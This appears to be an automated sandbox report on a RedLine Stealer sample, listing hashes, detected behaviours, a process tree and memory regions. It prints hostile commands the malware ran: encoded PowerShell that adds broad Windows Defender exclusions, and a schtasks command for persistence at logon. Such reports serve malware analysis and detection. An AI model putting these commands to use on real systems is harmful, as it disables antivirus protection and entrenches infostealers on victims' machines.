Analysis
-
max time kernel
145s -
max time network
148s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
29-01-2022 13:00
Static task
static1
Behavioral task
behavioral1
Sample
8aa46a6f36b43fe3acfc0760043e422b.exe
Resource
win7-en-20211208
General
-
Target
8aa46a6f36b43fe3acfc0760043e422b.exe
-
Size
890KB
-
MD5
8aa46a6f36b43fe3acfc0760043e422b
-
SHA1
d608338ee741b1be87b008695fe9b454ec21e50e
-
SHA256
76394f4e3ec34930503e6868befb7fa251b1550577cc4d6861ffdc638bd1acb2
-
SHA512
57cc0c6d608c8babf075daf9c3a1d465f590acd8331629f025ee5c1b62fd2c3f4ad558fbc093b0ee6a2d52502ce2d8d1c25e3dcc04051293ae6f085cf2afb5ec
Malware Config
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1608-57-0x0000000000E60000-0x0000000000F20000-memory.dmp family_redline behavioral1/memory/1608-65-0x0000000000E60000-0x0000000000F20000-memory.dmp family_redline -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
build.exebuild1.exeservices.exepid process 1952 build.exe 1184 build1.exe 828 services.exe -
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\build1.exe vmprotect C:\Users\Admin\AppData\Local\Temp\build1.exe vmprotect C:\Users\Admin\AppData\Local\Temp\build1.exe vmprotect behavioral1/memory/1184-91-0x0000000000400000-0x0000000001049000-memory.dmp vmprotect \Users\Admin\AppData\Roaming\Microsoft\services.exe vmprotect C:\Users\Admin\AppData\Roaming\Microsoft\services.exe vmprotect C:\Users\Admin\AppData\Roaming\Microsoft\services.exe vmprotect behavioral1/memory/828-118-0x0000000000400000-0x0000000001049000-memory.dmp vmprotect -
Loads dropped DLL 3 IoCs
Processes:
8aa46a6f36b43fe3acfc0760043e422b.execmd.exepid process 1608 8aa46a6f36b43fe3acfc0760043e422b.exe 1608 8aa46a6f36b43fe3acfc0760043e422b.exe 1864 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
8aa46a6f36b43fe3acfc0760043e422b.exepid process 1608 8aa46a6f36b43fe3acfc0760043e422b.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
8aa46a6f36b43fe3acfc0760043e422b.exebuild.exebuild1.exepowershell.exepowershell.exeservices.exepowershell.exepowershell.exepid process 1608 8aa46a6f36b43fe3acfc0760043e422b.exe 1608 8aa46a6f36b43fe3acfc0760043e422b.exe 1952 build.exe 1952 build.exe 1184 build1.exe 1244 powershell.exe 432 powershell.exe 828 services.exe 1988 powershell.exe 1728 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
8aa46a6f36b43fe3acfc0760043e422b.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1608 8aa46a6f36b43fe3acfc0760043e422b.exe Token: SeDebugPrivilege 1244 powershell.exe Token: SeDebugPrivilege 432 powershell.exe Token: SeDebugPrivilege 1988 powershell.exe Token: SeDebugPrivilege 1728 powershell.exe -
Suspicious use of WriteProcessMemory 38 IoCs
Processes:
8aa46a6f36b43fe3acfc0760043e422b.exebuild1.execmd.execmd.execmd.exeservices.execmd.exedescription pid process target process PID 1608 wrote to memory of 1952 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build.exe PID 1608 wrote to memory of 1952 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build.exe PID 1608 wrote to memory of 1952 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build.exe PID 1608 wrote to memory of 1952 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build.exe PID 1608 wrote to memory of 1184 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build1.exe PID 1608 wrote to memory of 1184 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build1.exe PID 1608 wrote to memory of 1184 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build1.exe PID 1608 wrote to memory of 1184 1608 8aa46a6f36b43fe3acfc0760043e422b.exe build1.exe PID 1184 wrote to memory of 1276 1184 build1.exe cmd.exe PID 1184 wrote to memory of 1276 1184 build1.exe cmd.exe PID 1184 wrote to memory of 1276 1184 build1.exe cmd.exe PID 1276 wrote to memory of 1244 1276 cmd.exe powershell.exe PID 1276 wrote to memory of 1244 1276 cmd.exe powershell.exe PID 1276 wrote to memory of 1244 1276 cmd.exe powershell.exe PID 1276 wrote to memory of 432 1276 cmd.exe powershell.exe PID 1276 wrote to memory of 432 1276 cmd.exe powershell.exe PID 1276 wrote to memory of 432 1276 cmd.exe powershell.exe PID 1184 wrote to memory of 1444 1184 build1.exe cmd.exe PID 1184 wrote to memory of 1444 1184 build1.exe cmd.exe PID 1184 wrote to memory of 1444 1184 build1.exe cmd.exe PID 1444 wrote to memory of 1688 1444 cmd.exe schtasks.exe PID 1444 wrote to memory of 1688 1444 cmd.exe schtasks.exe PID 1444 wrote to memory of 1688 1444 cmd.exe schtasks.exe PID 1184 wrote to memory of 1864 1184 build1.exe cmd.exe PID 1184 wrote to memory of 1864 1184 build1.exe cmd.exe PID 1184 wrote to memory of 1864 1184 build1.exe cmd.exe PID 1864 wrote to memory of 828 1864 cmd.exe services.exe PID 1864 wrote to memory of 828 1864 cmd.exe services.exe PID 1864 wrote to memory of 828 1864 cmd.exe services.exe PID 828 wrote to memory of 1228 828 services.exe cmd.exe PID 828 wrote to memory of 1228 828 services.exe cmd.exe PID 828 wrote to memory of 1228 828 services.exe cmd.exe PID 1228 wrote to memory of 1988 1228 cmd.exe powershell.exe PID 1228 wrote to memory of 1988 1228 cmd.exe powershell.exe PID 1228 wrote to memory of 1988 1228 cmd.exe powershell.exe PID 1228 wrote to memory of 1728 1228 cmd.exe powershell.exe PID 1228 wrote to memory of 1728 1228 cmd.exe powershell.exe PID 1228 wrote to memory of 1728 1228 cmd.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\8aa46a6f36b43fe3acfc0760043e422b.exe"C:\Users\Admin\AppData\Local\Temp\8aa46a6f36b43fe3acfc0760043e422b.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\build1.exe"C:\Users\Admin\AppData\Local\Temp\build1.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\services.exeC:\Users\Admin\AppData\Roaming\Microsoft\services.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\build.exeMD5
addfdc6395f84f4a377423f212e1fa27
SHA176e545e10c939e030b66f2efc7b7370219cbe21f
SHA25616baebd1adfc1bae6e35773b383875ac831a011fefed63a0506b875596274b8c
SHA512a190fdc39919b39263fe9354dc01aad5a63243c3c9c86d5e967bb9d7f9a631a6a3ba2c61ee82bcaf2b499350d94f11307141ccd0772ebf25280e4329855c541f
-
C:\Users\Admin\AppData\Local\Temp\build1.exeMD5
e29226dfb3319c09c118027d68017f11
SHA1c30b6a6e94b630c602fd365668638af463d6a0c3
SHA2564f91e4f43561ff1fb717505dda23724c0184f5dea64bf0aadd0bbb88de71a4db
SHA512dd60b68dc42be4027d5b21a8f5e0889c65c725f1491e32601b74649a20fad271ba88323faeacae204852051cb8e02806111b8e2f237aa0b9332428df8999aee3
-
C:\Users\Admin\AppData\Local\Temp\build1.exeMD5
e29226dfb3319c09c118027d68017f11
SHA1c30b6a6e94b630c602fd365668638af463d6a0c3
SHA2564f91e4f43561ff1fb717505dda23724c0184f5dea64bf0aadd0bbb88de71a4db
SHA512dd60b68dc42be4027d5b21a8f5e0889c65c725f1491e32601b74649a20fad271ba88323faeacae204852051cb8e02806111b8e2f237aa0b9332428df8999aee3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
aee3fe061d302891f5561f3404453a89
SHA161893d7daada6dcd3a9a985a656a10c0cd8702fd
SHA2569d06ef716c5bab07d0b462f33a1e1747ca15cd9b94d4d8d3a221be663150787a
SHA51226635107162a7123e10ba3a36cc49206150b0956c9839d175604b478a9d6daaa43fdb1858753bb877e4ea345a70381ee981f574bd5d43325461486e554ac4b87
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
aee3fe061d302891f5561f3404453a89
SHA161893d7daada6dcd3a9a985a656a10c0cd8702fd
SHA2569d06ef716c5bab07d0b462f33a1e1747ca15cd9b94d4d8d3a221be663150787a
SHA51226635107162a7123e10ba3a36cc49206150b0956c9839d175604b478a9d6daaa43fdb1858753bb877e4ea345a70381ee981f574bd5d43325461486e554ac4b87
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
aee3fe061d302891f5561f3404453a89
SHA161893d7daada6dcd3a9a985a656a10c0cd8702fd
SHA2569d06ef716c5bab07d0b462f33a1e1747ca15cd9b94d4d8d3a221be663150787a
SHA51226635107162a7123e10ba3a36cc49206150b0956c9839d175604b478a9d6daaa43fdb1858753bb877e4ea345a70381ee981f574bd5d43325461486e554ac4b87
-
C:\Users\Admin\AppData\Roaming\Microsoft\services.exeMD5
e29226dfb3319c09c118027d68017f11
SHA1c30b6a6e94b630c602fd365668638af463d6a0c3
SHA2564f91e4f43561ff1fb717505dda23724c0184f5dea64bf0aadd0bbb88de71a4db
SHA512dd60b68dc42be4027d5b21a8f5e0889c65c725f1491e32601b74649a20fad271ba88323faeacae204852051cb8e02806111b8e2f237aa0b9332428df8999aee3
-
C:\Users\Admin\AppData\Roaming\Microsoft\services.exeMD5
e29226dfb3319c09c118027d68017f11
SHA1c30b6a6e94b630c602fd365668638af463d6a0c3
SHA2564f91e4f43561ff1fb717505dda23724c0184f5dea64bf0aadd0bbb88de71a4db
SHA512dd60b68dc42be4027d5b21a8f5e0889c65c725f1491e32601b74649a20fad271ba88323faeacae204852051cb8e02806111b8e2f237aa0b9332428df8999aee3
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\build.exeMD5
addfdc6395f84f4a377423f212e1fa27
SHA176e545e10c939e030b66f2efc7b7370219cbe21f
SHA25616baebd1adfc1bae6e35773b383875ac831a011fefed63a0506b875596274b8c
SHA512a190fdc39919b39263fe9354dc01aad5a63243c3c9c86d5e967bb9d7f9a631a6a3ba2c61ee82bcaf2b499350d94f11307141ccd0772ebf25280e4329855c541f
-
\Users\Admin\AppData\Local\Temp\build1.exeMD5
e29226dfb3319c09c118027d68017f11
SHA1c30b6a6e94b630c602fd365668638af463d6a0c3
SHA2564f91e4f43561ff1fb717505dda23724c0184f5dea64bf0aadd0bbb88de71a4db
SHA512dd60b68dc42be4027d5b21a8f5e0889c65c725f1491e32601b74649a20fad271ba88323faeacae204852051cb8e02806111b8e2f237aa0b9332428df8999aee3
-
\Users\Admin\AppData\Roaming\Microsoft\services.exeMD5
e29226dfb3319c09c118027d68017f11
SHA1c30b6a6e94b630c602fd365668638af463d6a0c3
SHA2564f91e4f43561ff1fb717505dda23724c0184f5dea64bf0aadd0bbb88de71a4db
SHA512dd60b68dc42be4027d5b21a8f5e0889c65c725f1491e32601b74649a20fad271ba88323faeacae204852051cb8e02806111b8e2f237aa0b9332428df8999aee3
-
memory/432-110-0x0000000002450000-0x0000000002452000-memory.dmpFilesize
8KB
-
memory/432-112-0x0000000002454000-0x0000000002457000-memory.dmpFilesize
12KB
-
memory/432-111-0x0000000002452000-0x0000000002454000-memory.dmpFilesize
8KB
-
memory/432-114-0x000000000245B000-0x000000000247A000-memory.dmpFilesize
124KB
-
memory/432-109-0x000007FEEBC50000-0x000007FEEC7AD000-memory.dmpFilesize
11.4MB
-
memory/828-118-0x0000000000400000-0x0000000001049000-memory.dmpFilesize
12.3MB
-
memory/828-123-0x000000001C432000-0x000000001C434000-memory.dmpFilesize
8KB
-
memory/828-124-0x000000001C434000-0x000000001C436000-memory.dmpFilesize
8KB
-
memory/828-126-0x000000001C437000-0x000000001C438000-memory.dmpFilesize
4KB
-
memory/828-125-0x000000001C436000-0x000000001C437000-memory.dmpFilesize
4KB
-
memory/1184-95-0x000000001C420000-0x000000001C60A000-memory.dmpFilesize
1.9MB
-
memory/1184-98-0x000000001C1B6000-0x000000001C1B7000-memory.dmpFilesize
4KB
-
memory/1184-97-0x000000001C1B4000-0x000000001C1B6000-memory.dmpFilesize
8KB
-
memory/1184-94-0x00000000028C0000-0x0000000002AAB000-memory.dmpFilesize
1.9MB
-
memory/1184-93-0x0000000076F40000-0x0000000076F42000-memory.dmpFilesize
8KB
-
memory/1184-91-0x0000000000400000-0x0000000001049000-memory.dmpFilesize
12.3MB
-
memory/1184-96-0x000000001C1B2000-0x000000001C1B4000-memory.dmpFilesize
8KB
-
memory/1184-101-0x000000001C1B7000-0x000000001C1B8000-memory.dmpFilesize
4KB
-
memory/1244-100-0x000007FEEC5F0000-0x000007FEED14D000-memory.dmpFilesize
11.4MB
-
memory/1244-99-0x000007FEFB611000-0x000007FEFB613000-memory.dmpFilesize
8KB
-
memory/1244-102-0x00000000024D0000-0x00000000024D2000-memory.dmpFilesize
8KB
-
memory/1244-103-0x00000000024D2000-0x00000000024D4000-memory.dmpFilesize
8KB
-
memory/1244-104-0x00000000024D4000-0x00000000024D7000-memory.dmpFilesize
12KB
-
memory/1244-105-0x000000001B710000-0x000000001BA0F000-memory.dmpFilesize
3.0MB
-
memory/1244-106-0x00000000024DB000-0x00000000024FA000-memory.dmpFilesize
124KB
-
memory/1608-73-0x000000006CA60000-0x000000006CA77000-memory.dmpFilesize
92KB
-
memory/1608-65-0x0000000000E60000-0x0000000000F20000-memory.dmpFilesize
768KB
-
memory/1608-75-0x000000006CA00000-0x000000006CA52000-memory.dmpFilesize
328KB
-
memory/1608-76-0x000000006C9D0000-0x000000006C9DD000-memory.dmpFilesize
52KB
-
memory/1608-77-0x0000000074E40000-0x0000000074E59000-memory.dmpFilesize
100KB
-
memory/1608-78-0x000000006C920000-0x000000006C96F000-memory.dmpFilesize
316KB
-
memory/1608-79-0x000000006C970000-0x000000006C9C8000-memory.dmpFilesize
352KB
-
memory/1608-85-0x000000006C6C0000-0x000000006C7B5000-memory.dmpFilesize
980KB
-
memory/1608-84-0x000000006C860000-0x000000006C8A4000-memory.dmpFilesize
272KB
-
memory/1608-83-0x00000000753D0000-0x00000000753F7000-memory.dmpFilesize
156KB
-
memory/1608-82-0x000000006C8F0000-0x000000006C90C000-memory.dmpFilesize
112KB
-
memory/1608-74-0x000000006C9E0000-0x000000006C9F5000-memory.dmpFilesize
84KB
-
memory/1608-80-0x0000000074980000-0x000000007498C000-memory.dmpFilesize
48KB
-
memory/1608-72-0x000000006D050000-0x000000006D1E0000-memory.dmpFilesize
1.6MB
-
memory/1608-71-0x00000000764F0000-0x0000000076525000-memory.dmpFilesize
212KB
-
memory/1608-70-0x0000000073410000-0x0000000073427000-memory.dmpFilesize
92KB
-
memory/1608-69-0x0000000075470000-0x00000000760BA000-memory.dmpFilesize
12.3MB
-
memory/1608-68-0x00000000028F0000-0x00000000028F1000-memory.dmpFilesize
4KB
-
memory/1608-66-0x00000000749F0000-0x0000000074A7F000-memory.dmpFilesize
572KB
-
memory/1608-54-0x0000000075471000-0x0000000075473000-memory.dmpFilesize
8KB
-
memory/1608-64-0x0000000074A90000-0x0000000074BEC000-memory.dmpFilesize
1.4MB
-
memory/1608-62-0x0000000075370000-0x00000000753C7000-memory.dmpFilesize
348KB
-
memory/1608-55-0x00000000002F0000-0x0000000000334000-memory.dmpFilesize
272KB
-
memory/1608-61-0x0000000074F20000-0x0000000074F67000-memory.dmpFilesize
284KB
-
memory/1608-60-0x0000000076730000-0x00000000767DC000-memory.dmpFilesize
688KB
-
memory/1608-58-0x00000000000F0000-0x00000000000F1000-memory.dmpFilesize
4KB
-
memory/1608-56-0x0000000074780000-0x00000000747CA000-memory.dmpFilesize
296KB
-
memory/1608-57-0x0000000000E60000-0x0000000000F20000-memory.dmpFilesize
768KB
-
memory/1728-134-0x000007FEEC0D0000-0x000007FEECC2D000-memory.dmpFilesize
11.4MB
-
memory/1728-135-0x0000000002410000-0x0000000002412000-memory.dmpFilesize
8KB
-
memory/1728-136-0x0000000002412000-0x0000000002414000-memory.dmpFilesize
8KB
-
memory/1728-137-0x0000000002414000-0x0000000002417000-memory.dmpFilesize
12KB
-
memory/1728-138-0x000000000241B000-0x000000000243A000-memory.dmpFilesize
124KB
-
memory/1988-128-0x00000000026D2000-0x00000000026D4000-memory.dmpFilesize
8KB
-
memory/1988-129-0x00000000026D4000-0x00000000026D7000-memory.dmpFilesize
12KB
-
memory/1988-130-0x00000000026DB000-0x00000000026FA000-memory.dmpFilesize
124KB
-
memory/1988-127-0x00000000026D0000-0x00000000026D2000-memory.dmpFilesize
8KB
-
memory/1988-122-0x000007FEEC040000-0x000007FEECB9D000-memory.dmpFilesize
11.4MB